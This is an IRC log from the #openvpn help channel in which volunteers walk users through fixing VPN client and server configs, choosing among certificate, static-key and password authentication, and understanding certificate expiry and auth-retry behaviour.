17:54 < emka> pekster: thank you for you help again
17:54 <+pekster> persist* is bad becuase the client "keeps" the interface/address when given a different one
17:54 -!- VunKruz [~hhhh@24-205-18-142.dhcp.nrwl.ca.charter.com] has joined #openvpn
17:55 <+pekster> It is this ripe for future problems _unless_ you use static assignment. As I noted earlier.
17:55 <+pekster> All those !things you can read about, and so far I've seen you read none
18:05 < emka> it's not clear, should client use "cipher" param or not
18:05 < emka> *in man
18:06 < emka> *or it will be duplicated .. (
18:08 <+pekster> The client needs a defined cipher, yes. If you don't include it, the openvpn default of `--cipher BF` will be used
18:09 < emka> debian 'man openvpn' is not so good as it could .. :(
18:09 <+pekster> !man
18:09 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
18:09 <+pekster> Handy weblink for you at #1; be sure to use the right version for your installed openvpn
18:10 < emka> the main lol, that there are many differens between debian man and site  :)
18:11 <+pekster> You sure you're comparing the same version?
18:11 <+pekster> 2.3 is much different than 2.2
18:11 <+pekster> (as far as options and manpage improvements go)
18:12 < emka> ok, i will be oriented at the site man
18:12 <+pekster> Using a 2.3 manpage with 2.2 will likely result in confusion; YMMV
18:12 < emka> 2.2
18:13 < emka> this one is in the stable deb release
18:14 <+pekster> Indeed; debian never was fast at updating their software. "Stable" they call it, not to be confused with "Stale"
18:14 < emka> :)
18:15 < emka> http://www.cvedetails.com/vendor/3278/Openvpn.html
18:15 <@vpnHelper> Title: Openvpn : Products and vulnerabilities (at www.cvedetails.com)
18:15 < emka> what will be the next ?)
18:15 <+pekster> There used to be repo links at !repo, but I forget of those work or reference the old/broken stuff. Search recent mailing list postings for recent working repos
18:16 < emka> Code execution is comming soon :) 2005 2006 2008 ???
18:16 <+pekster> Did you have a particular questgion? Much of those are pointless when properly handled (if "localhost" is owned, for example, CVE-2008-3459 is the obvious impact)
18:16 <+pekster> Did you have a point?
18:16 <+pekster> FUD is not helpful
18:16 <+pekster> If you don't undersatnd the scope of an issue, pointing figers makes you look uninformed
18:23 -!- crocket [~crocket@unaffiliated/crocket] has joined #openvpn
18:23 < crocket> hi
18:23 <+pekster> OpenVPN hasn't had a serious (one even remotely likely) to cause information comprimise or certinaly not remote-code execution since nat least 2.0.5 for official releases, and a handful of the beta/pre-release versions
18:23 <+pekster> If a 7+ year track record of no serious flaws is not good enough, feel free to not use OpenVPN
18:23 < crocket> Does OpenVPN support mutual authentication between nodes?
18:24 < crocket> I want mutual authentication via public/private key pairs.
18:24 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has joined #openvpn
18:24 < A_Pickle> Hi everyone
18:24 <+pekster> crocket: That's the default, yes. Read !howto (and probably the rest of /TOPIC and maybe !new)
18:24 < A_Pickle> I'm having a hell of a time getting this thing to work.
18:24 < A_Pickle> I guess, my first question is...
18:25 < crocket> pekster, If A is connected to B and B is connected to C, then can C access A without any configuration?
18:25 < crocket> !howto
18:25 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:25 <+pekster> crocket: No, openvpn only forms a "direct link" between 2 peers. A server can connect multiple peers, but it's a hub/spoke model
18:25 < crocket> pekster, hub/spoke?
18:26 <+pekster> crocket: If you have server [S] with clients [A] and [B], then when A & B are connected, A can reach B via S.
18:26 < crocket> pekster, What about p2p mode?
18:26 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has joined #openvpn
18:26 <+pekster> Then you only have 2 systems involved completely
18:26 < crocket> ok
18:26 < rob0> you can set up routes to do anything you want
18:26 <+pekster> You're free of course to route in "the usual fashion" among them
18:27 < A_Pickle> I have a server running Windows 8 Pro 64-bit, and OpenVPN 2.3.2 64-bit.  I have shared various directories for network access, and am perfectly able to access these directories from my laptop when I'm connected to the same LAN as the server -- but I am NOT able to access these files when I'm on the road.
18:28 < A_Pickle> I have read the HOWTO, and it got my computers talking... but I'm still not able to access files (or ping).
18:28 <+pekster> A_Pickle: Once your basic VPN is working (client can ping the VPN IP of your server) you need to start with the info/flowchart at !serverlan
18:28 < A_Pickle> I've tried it with my firewall disabled, and I've set up port forwarding on the router above the server.
18:28 -!- niggardly [~andromeda@gateway/tor-sasl/martinphone] has quit [Client Quit]
18:29 <+pekster> "tried it" isn't a very good description of the situation
18:29 <+pekster> _what_ isn't working now? Do you have a connection across the VPN? Can you ping your server?
18:30 <+pekster> !new
18:30 < A_Pickle> The VPN IP of my server would be x.x.x.1, where x.x.x.0 is the subnet I've defined in my server.ovpn file, correct?
18:30 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
18:30 < A_Pickle> !welcome
18:30 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:30 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:30 <+pekster> A_Pickle: thta's the default, yes
18:30 < A_Pickle> !howto
18:30 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:30 <+pekster> The howto even has you ping your endpoint in the process
18:31 <+pekster> (this is why I suspect you haven't been following it, though maybe you just got stuck during the process and really need to ask a more specific question)
18:31 < A_Pickle> I'm aware, but I cannot get it to do this.  I have tried to ping my server, both with my firewall on AND off, and I cannot.
18:31 <+pekster> Okay, so, to start with, you need a pastebin of the info in !configs and !logs
18:31 < A_Pickle> !configs
18:31 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
18:31 <+pekster> A_Pickle: I'd recommend you read !paste as well, since gist allows you to put all 4 files on a single URL
18:31 < A_Pickle> !paste
18:31 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
18:35 < A_Pickle> Okay, lemme fetch all that good stuff.
18:41 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:43 < A_Pickle> I don't have any ccd entries, and I don't utilize pfsense... so I suppose it'd just be my server and client config files?
18:44 < A_Pickle> https://gist.github.com/anonymous/7651543
18:44 <@vpnHelper> Title: A_Pickles OpenVPN Configuration Files (at gist.github.com)
18:49 <@krzee> route 0.0.0.0 0.0.0.0
18:49 <@krzee> you probably wanted redirect-gateway
18:51 <@krzee> A_Pickle, your goal is to redirect client's internet through the vpn?
18:52 < A_Pickle> No, I want the client to be able to access network shares containing files through the VPN - so I can access them from afar.
18:52 <@krzee> then why do you have line 16 on your client/
18:52 -!- JSharpe [~JSharpe@46.28.53.150] has joined #openvpn
18:52 < crocket> So
18:52 <@krzee> A_Pickle, first remove that route 0.0.0.0 0.0.0.0 line
18:53 < A_Pickle> So that the network would stop being an "Unidentified Network" in Windows, which, by default, is a public network.
18:53 < crocket> Is certificate authority used for mutual authentication of the server and clients in OpenVPN?
18:53 <@krzee> im sure theres another way to fix that, find it
18:53 <+pekster> crocket: an OpenVPN link is "only ever" between 2 peers. And yes, the 2 peers mutually authenticate
18:54 <+pekster> crocket: Don't confuse this with a "star" topology where clients _directly_ contact one another; that's not how openvpn works, and if you want that you would need a p2p link between _every_ involved node
18:54 < crocket> pekster, What about "certificate authority"?
18:54 < A_Pickle> krzee:  just the "route 0.0.0.0 0.0.0.0" line?  Not the route-metric 512?"
18:54 <+pekster> What about it crocket?
18:55 < crocket> pekster, http://openvpn.net/index.php/open-source/documentation/howto.html#pki says "Both server and client will authenticate the other by first verifying that the presented certificate was signed by the master certificate authority (CA), and then by testing information in the now-authenticated certificate header, such as the certificate common name or certificate type (client or server)."
18:55 <@vpnHelper> Title: HOWTO (at openvpn.net)
18:55 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:55 < crocket> Does OpenVPN have other means of mutual authentication than CA?
18:56 <+pekster> crocket: Yes, that's how PKI/X.509 works. Did you need a more basic description of this? If so, here's some documentation included with the easyrsa3 codebase that might help you: https://community.openvpn.net/openvpn/wiki/EasyRSA-Intro-To-PKI
18:56 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
18:56 <@vpnHelper> Title: EasyRSA-Intro-To-PKI – OpenVPN Community (at community.openvpn.net)
18:56 <+pekster> crocket: Alternatives include !statickey and !authpass
18:56 < crocket> !statickey
18:56 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
18:56 < crocket> !authpass
18:56 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
18:58 < crocket> pekster, I get the picture.
18:58 < crocket> Clients authenticate the server via the server certificate, and the server authenticate clients via client certificates and/or user/password pairs.
18:59 <+pekster> When using a TLS operational mode, yes
18:59 <+pekster> The alternative is !statickey that uses a PSK for direct symmetric encryption
18:59 < crocket> pekster, That excludes mutual authentication.
18:59 <+pekster> PSK? No, becuase there's still an HMAC
19:00 <+pekster> Each packet is still signed, which is the authentication. Proof of key ownership serves as the only effective means of authentication
19:00 < crocket> It gets complicated.
19:03 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
19:06 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 272 seconds]
19:06 <+pekster> A_Pickle: Following up on what krzee said earlier, line 16 in your paste for the client is not what you want. Neither is line 8 which will cause problems during reconnections, and line 7 doesn't really do anything worthwhile either
19:06 <+pekster> A_Pickle: Remove those, reconnect, and verify that your connection succeeds and that you can ping your server's VPN address at 10.42.20.1
19:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Quit: WeeChat 0.3.8]
19:09 < A_Pickle> Okay.
19:09 < A_Pickle> I'm also editing the configs to add some logging (verb 3), to see if I can get some better info.
19:09 < crocket> pekster, Do you trust HMAC and/or user/pass authentication to be secure over the internet?
19:09 <+pekster> user/pass? Sure, it's no less secure
19:10 <+pekster> The reduction in security comes from the fact that humans are awful at picking/remembering passwords
19:10 <+pekster> It's all done over a DH-secured channel anyway
19:10 <+pekster> Read up on Diffie-Hellman and perfect-forward-secrecy if this is a new concept to you
19:10 < crocket> pekster, Does HMAC work on top of any authentication method?
19:10 <+pekster> It's the basic building block of every single TLS application out there
19:11 <+pekster> HMAC is part of how the per-packet signing works
19:11 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
19:11 <+pekster> So, "yes"
19:11 <+pekster> I'm not quite sure what you're getting at here
19:11 < crocket> pekster, I'm comparing Tinc VPN and OpenVPN.
19:12 < crocket> Tinc only supports mutual authentication via public/private key pairs.
19:13 <+pekster> As far as I'm aware, the only thing it does that openvpn doesn't is mesh solutions
19:13 < A_Pickle> Interesting, crocket.
19:13 <+pekster> OpenVPN has no topology equivelent for that, although mesh connectivity isn't practical when your clients are behind NAT or uncontrolled firewalls
19:13 < A_Pickle> I've been hemming and hawing over the two, as well, but Tinc seems to require some ridiculous steps to get working in Windows.
19:13 < crocket> pekster, Do you mean that OpenVPN supports public/private key pair mutual authentication without TLS?
19:14 <+pekster> crocket: No.
19:14 <+pekster> The _only_ non-TLS crypto mode is PSK
19:14 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
19:14 <+pekster> So, pick one: 1) TLS (X.509) authentication, or 2) PSK
19:14 < crocket> ok
19:14 < crocket> And, is PSK secured via DH key exchange?
19:14 <+pekster> Nope
19:15 <+pekster> No forward-secrecy, just raw bytes from the PSK used for both encryption and (a separate string from the same PSK) signing
19:15 <+pekster> The bytes pulled from the PSK are used directly as the symmetric key; no DH-exchange of an ephemeral session key
19:15 < crocket> pekster, It seems PSK is a dangerous thing.
19:16 <+pekster> It can be, though as !statickey points out, it has no signature which makes it useful for bypassing DPI
19:16 < A_Pickle> I did edit those lines.  I still cannot ping.
19:16 <+pekster> It's a trade-off
19:16 <+pekster> A_Pickle: Did you get a successful connection? Do you have the requested logs from both ends?
19:16 <+pekster> !logs
19:16 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:17 <+pekster> --verb level is important here (read !verb if you need help w/ that)
19:18 < crocket> pekster, What's DPI?
19:18 <+pekster> Deep Packet Inspection (think China's firewall, or agressive corporate systems that filter/monitor traffic)
19:18 <+pekster> Or the NSA for that matter ;)
19:19 <+pekster> TLS has a detectable fingerprint; PSK is stateless and has no fingerprint since it's all "just random packets"
19:20 < crocket> China's great firewall
19:20 < crocket> It also has great wall
19:20 < crocket> Walls
19:20 <+pekster> That is indeed the play on words involved
19:20 <+pekster> "GFW"
19:21 <+pekster> An alternative to bypassing DPI while keeping the forward-secrecy benefits of TLS includ wrapping TLS-OpenVPN inside PSK-OpenVPN, or using !obfs or similar products as a wrapper
19:21 < crocket> pekster, What about tinc?
19:21 <+pekster> I don't know much about it at all
19:22 <+pekster> So again, what about it? :)
19:22 <+pekster> #openvpn isn't really designed to help with non-openvpn. Asking about tinc, ssh tunneling, or IPSec is unlikely to do what you expect here on anything but a basic level
19:22 < A_Pickle> Okay -- I'm going to create a new gist with the changes you've recommended and logs, brb.  Thanks for the help, by the way.
19:23 < A_Pickle> I'm... probably kind of a... a n00b at this...
19:23 <+pekster> A_Pickle: One quick clarification here; your VPN network is a unique network that doesn't match/overlap networks on either the client or server side, right?
19:24 < A_Pickle> No.
19:24 <+pekster> Then you'd best fix that first
19:25 <+pekster> Routed networks cannot conflict or overlap, so your VPN range needs to be different than either side
19:25 < A_Pickle> I'm using 192.168.44.x on the Server's internal LAN, and 192.168.224.x on my remote LAN, and my VPN is 10.42.20.x
19:25 <+pekster> Oh, then that's fine; I misunderstood your "no" to be "no, that statement is not correct."
19:26 -!- crocket [~crocket@unaffiliated/crocket] has left #openvpn ["Leaving"]
19:35 < A_Pickle> https://gist.github.com/a-pickle/7652082
19:35 -!- crocket [~crocket@unaffiliated/crocket] has joined #openvpn
19:35 <@vpnHelper> Title: A_Pickles OpenVPN (at gist.github.com)
19:36 < crocket> Does openvpn support TLS authentiation only on the server side?
19:36 < A_Pickle> bam
19:36 < A_Pickle> logs 'n shit
19:36 < crocket> Clients can't afford to have TLS certificates.
19:36 <+pekster> That would be !authpass, yes
19:37 <+pekster> TLS secured, and only the server (well, and of course the CA itself) has a cert
19:37 < crocket> pekster, authpass on top of server TLS ENCRYPTION?
19:37 <+pekster> Wait, what do you mean afford?
19:37 < crocket> pekster, Clients would be non-tech users.
19:37 < crocket> They would either need technical support or not have a TLS cert.
19:37 <+pekster> Or a program to generate one at the click of a button
19:37 <+pekster> There's no monentary cost involved, to clarify
19:38 < crocket> pekster, what program is it?
19:38 <+pekster> easy-rsa and many other frontends (!certman) are availalbe for that
19:38 <+pekster> Many!
19:38 < crocket> easy-rsa isn't so easy for people.
19:38 <+pekster> This is also included in the howto you claim to have read
19:38 < crocket> That howto is too long.
19:38 < crocket> I stopped reading halfway.
19:38 <+pekster> Wonderful, so you're wasinting my time asking things explained there?
19:38 <+pekster> And that's less than halfway there
19:39 < crocket> I once read half of it.
19:39 <+pekster> VPNs are complex, but the PKI stuff is described at !pki (direct-link to the right part)
19:39 <+pekster> At your option, use username/passwords only on clients. You looked that info up earlier at !authpass
19:40 < A_Pickle> !certman
19:40 <@vpnHelper> "certman" is (#1) Various frontends can help you manage your PKI (certs & keys.) !easy-rsa is the officially supported one for OpenVPN. or (#2) Other choices include: !xca, !ssladmin, and probably others online
19:40 <+pekster> Clever programmers could fairly easily write a GUI program that has a giant "Click This Button" button to generate a keypair/request
19:41 <+pekster> See also: http://mycert.sandbox.cz/
19:41 <@vpnHelper> Title: My Certificate Wizard (at mycert.sandbox.cz)
19:42 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has quit [Ping timeout: 265 seconds]
19:44 <+pekster> A_Pickle: Something is wrong here becuase your client shows a successful connection/authentication, yet your server doesn't
19:44 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
19:44 <+pekster> Either that's not the full log entry, or your client reached a completely different server (and got fed a valid certificate from it)
19:45 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
19:45 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
19:45 < A_Pickle> I see that.
19:45 < A_Pickle> My client should be listed on the openvpn-status.log, no?
19:46 <+pekster> Eventually; that only gets updated every so often (5 minutes by default? I foret what the default is)
19:46 <+pekster> The logs are the important thing here; you either them before your connection (most likely) or are running a 2nd server instance that you reached instead
19:46 < A_Pickle> My bad
19:47 < A_Pickle> I fetched the server log prior to connection
19:47 <+pekster> which is what I figured
19:47 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has joined #openvpn
19:47 <+pekster> That means everything appeared to work just fine, and there should be no issue doing a ping to the server. If you can't do that, you likely have a firewall problem (your server-side firewall denies the ping, which you should fix)
19:48 <+pekster> Oh, do also add `keepalive 10 60` to the server too; right now you have no way to keep stateful firewalls open and no disconnect notification
19:48 <+pekster> !keepalive
19:48 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
19:48 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
19:49 < A_Pickle> I have uploaded the proper logs to that same gist link, I will try disabling my server's firewall.
19:50 < A_Pickle> I should note, my OpenVPN shows up as an "Unidentified Network" on my server.  I'd prefer it to be a private network, if that's at all possible.
19:50 <+pekster> So set it as such on your OS
19:50 < A_Pickle> Wull shit son
19:50 < A_Pickle> Now I can ping
19:50 < A_Pickle> Thanks!
19:50 < A_Pickle> It's a bit tough to do that, though.
19:51 < A_Pickle> I had to add a line on my client config (the route 0.0.0.0 0.0.0.0) to do it for my client PC.
19:51 <+pekster> No, you don't want that
19:51 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
19:51 < crocket> pekster, It seems the company wants to choose the most convenient option which is to install TLS certs on the server and support only PSK authentication.
19:51 <+pekster> You really don't want that at all
19:51 < A_Pickle> I trust your judgement on that, I removed it from my client
19:52 <+pekster> If you want to redirect traffic you need to follow !redirect, and you shouldn't even do _that_ until you can ping the PVN peer
19:52 < A_Pickle> !redirect
19:52 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
19:52 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
19:52 <+pekster> crocket: That's nosense. PSK and TLS are mutually-exclusive
19:52 < crocket> pekster, Do you mean TLS and user/pass are viable?
19:53 <+pekster> You pick _one_, not _both_
19:53 <+pekster> FFS, yes
19:53 <+pekster> Go read !authpass
19:53 < A_Pickle> Well.  I'll be damned.  I can see my files.
19:53 < crocket> pekster, FFS? You're being aggresive.
19:53 <+pekster> And you're not reading
19:53 <+pekster> I've been _quite_ patient with you and telling you for the 3rd time to read the same document
19:54 < crocket> !authpass
19:54 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
19:54 <+pekster> Rather than keep you here asking the same question over and over you could perhaps demonstrate that you're able to read and learn, or at least ask smarter questions that shows you're not wasting my time. If you don't you can feel free to leave, but you're here getting free help and as such you should pretend that I'm not here to do your job for you
19:56 <+pekster> 19:14:32 <+pekster> So, pick one: 1) TLS (X.509) authentication, or 2) PSK
19:58 <+pekster> A_Pickle: So, if you can now ping the server, you're free to route across your link to the entire server-side LAN (was that your original goal?) If so, the info and handy flowchart at !serverlan guides you through that
19:59 < A_Pickle> Well, with the Server's firewall completely disabled, I'm able to ping, and I'm able to access my network shares.
19:59 < A_Pickle> Obviously, I do not want to continue running with my server's firewall completely disabled.
19:59 <+pekster> On just the server itself; routing to the server-side LAN requires a lot more
19:59 < crocket> Can multiple clients connec to the server using the same user/pass?
20:00 <+pekster> crocket: Yes, when --duplicate-cn is used, which isn't the default
20:00 < A_Pickle> So, I need to figure out how to make my server see OpenVPN as a private network that I can name, so it will fall under the private network profile, allowing pings and file sharing.
20:00 <+pekster> That's a topic for Windows-centric support
20:00 < A_Pickle> Indeed.
20:00 <+pekster> But yea, note the bit in the /TOPIC where we note that issues are often cuased by firewalls ;)
20:01 <+pekster> A_Pickle: And don't forget that --keepalive business or you'll run into common firewall stuff
20:01 < A_Pickle> I see that, I feel bad that I never tried disabling my server firewall before posting here
20:01 < A_Pickle> That's like
20:03 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has quit [Quit: Leaving.]
20:03 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has joined #openvpn
20:05 -!- speed_racer84 [~speed_rac@172.56.14.81] has joined #openvpn
20:07 -!- A_Pickle [~A_Pickle@host-72-175-205-202.static.bresnan.net] has quit [Ping timeout: 245 seconds]
20:09 -!- nobit [nobit@unaffiliated/muska] has quit [Ping timeout: 272 seconds]
20:10 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:13 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:15 -!- speed_racer84 [~speed_rac@172.56.14.81] has quit [Ping timeout: 246 seconds]
20:16 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
20:17 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
20:17 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
20:19 -!- nobit [~nobit@unaffiliated/muska] has joined #openvpn
20:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
20:48 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 252 seconds]
20:51 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
20:53 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
20:57 -!- Haseo [~Haseo@aufrinfo.net] has quit [Ping timeout: 260 seconds]
20:57 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds]
20:58 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
21:00 -!- Haseo [~Haseo@aufrinfo.net] has joined #openvpn
21:00 -!- JSharpe [~JSharpe@46.28.53.150] has quit [Quit: Leaving]
21:16 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
21:17 -!- Cultist [~CultOfThe@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
21:26 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
21:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:50 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
21:54 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
22:19 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
22:19 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
22:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Operation timed out]
23:30 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 265 seconds]
--- Day changed Tue Nov 26 2013
00:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:02 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
00:03 -!- tapout_ [~tapout@unaffiliated/tapout] has joined #openvpn
00:03 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
00:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:08 -!- tapout_ is now known as tapout
00:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
00:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:32 < crocket> What happens when X.509 certs expire?
00:32 <+pekster> They won't be valid by any system with a current clock and must be re-issued
00:33 < crocket> Does OpenVPN server refuse expired client certs?
00:34 < crocket> Does OpenVPN client refuse expired server certs?
00:34 <+pekster> Yes; it works the same way your web browser does when you visit a site with an expired cert, except there is no "just do it anyway" button
00:34 <+pekster> Was asking that twice really required?
00:34 <+pekster> OpenVPN will _not_ accept expired, bad, or otherwise invalid certs, period
00:35 <+pekster> If `openssl verify` won't accept it, neither will openvpn, and there's no way to change that behaviour without significant reprogramming
00:35 <+pekster> This is exactly like any other TLS application out there without the ability to let you shoot yourself in the foot by accepting certs that don't verify properly
00:44 -!- T_X [~T_X@open-mesh.org] has joined #openvpn
00:49 -!- Probeus [probeus@probeus.no] has quit [Remote host closed the connection]
00:51 -!- Probeus [~quassel@probeus.no] has joined #openvpn
00:51 < T_X> hi. is there a way to disable the SIGTERM on auth-failure?
00:52 <+pekster> T_X: As a client you mean with --auth-user-pass ?
00:52 < T_X> pekster: yep, the client is using password authentication
00:53 < T_X> these were in the openvpn logs when the client had vanished: "AUTH: Received control message: AUTH_FAILED" and "SIGTERM[soft,auth-failure] received, process exiting"
00:53 <+pekster> T_X: See --auth-retry
00:54 <+pekster> Normally there's a reason the auth was rejected from the server though, so blindly retrying is usually a bad idea unless you have reason to believe future attempts with the same credentials will succeed
00:54 <+pekster> Why do you think sending the same credentials again is likely to work?
00:56 < T_X> pekster: because these credentials, stored in a file, worked so far and work again now that I restarted the daemon
00:57 < T_X> I believe it just didn't work temporarily because of the admins having changed something on the server side
00:57 <+pekster> You should consult your server logs for the failure reason then and fix the root cause
00:57 < T_X> pekster: I didn't change anything, I just restarted the client a few hours later and it worked again
00:58 < T_X> I don't have access to the openvpn server
00:58 <+pekster> Then go find those who do and ask them to fix it
00:58 < T_X> well, I guess they did, because it works again now :)
00:59 < T_X> but I'd prefer if something went bogus on the server side again, that I wouldn't need to manually restart the openvpn-client again
00:59 <+pekster> And I can tell you that you will basically induce a "mini-dDoS" against a server if you use nointeract as the --auth-retry value. YMMV
01:00 <+pekster> Beware playing with dragons here
01:01 < T_X> hm, okay. what's the difference between a normal connection retry and an auth-retry?
01:01 <+pekster> If you read --auth-retry in the manpage (see: !man) you'd know
01:01 <+pekster> Be _very_ sure you understand the implications before selecting a different value for that option
01:09 < T_X> ah, so auth-retry uses hard-coded instead of the connect-retry* parameters? (according to a 2006 forum post, not according to the manpage)
01:10 <+pekster> huh?
01:10 <+pekster> Did you even read --auth-retry in the manpage? It has 3 values, one of which is the default when that option is not used
01:11 <+pekster> The `nointeract` value retries automatically, and is like calling "the same wrong phone number nonstop" -- you're very likely to piss of the owner of that wrong number if it "really is" a wrong number
01:13 < T_X> pekster: i did read the manpage but I'm failing to see how that could be DoS related if the intervals are reasonable. just like the default for connect-retry-max the default is "infinite" which isn't causing an issue either
01:14 <+pekster> The "interval" is imediate
01:14 <+pekster> --auth-retry has nothing to do with --connect-retry; the latter is _strictly_ for `--proto tcp-client`
01:15 < T_X> oh, okay, that indede makes a difference if there's no delay
01:15 < T_X> http://openvpn.net/archive/openvpn-devel/2006-05/msg00010.html -> claims the interval to be 10 seconds but ok, if you say so
01:15 <@vpnHelper> Title: [Openvpn-devel] auth-retry question (at openvpn.net)
01:16 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
01:16 <+pekster> It might be 10 seconds (I haven't actually checked the code)
01:16 <+pekster> That's still likely to do nothing good if the credentials are actually incorrect
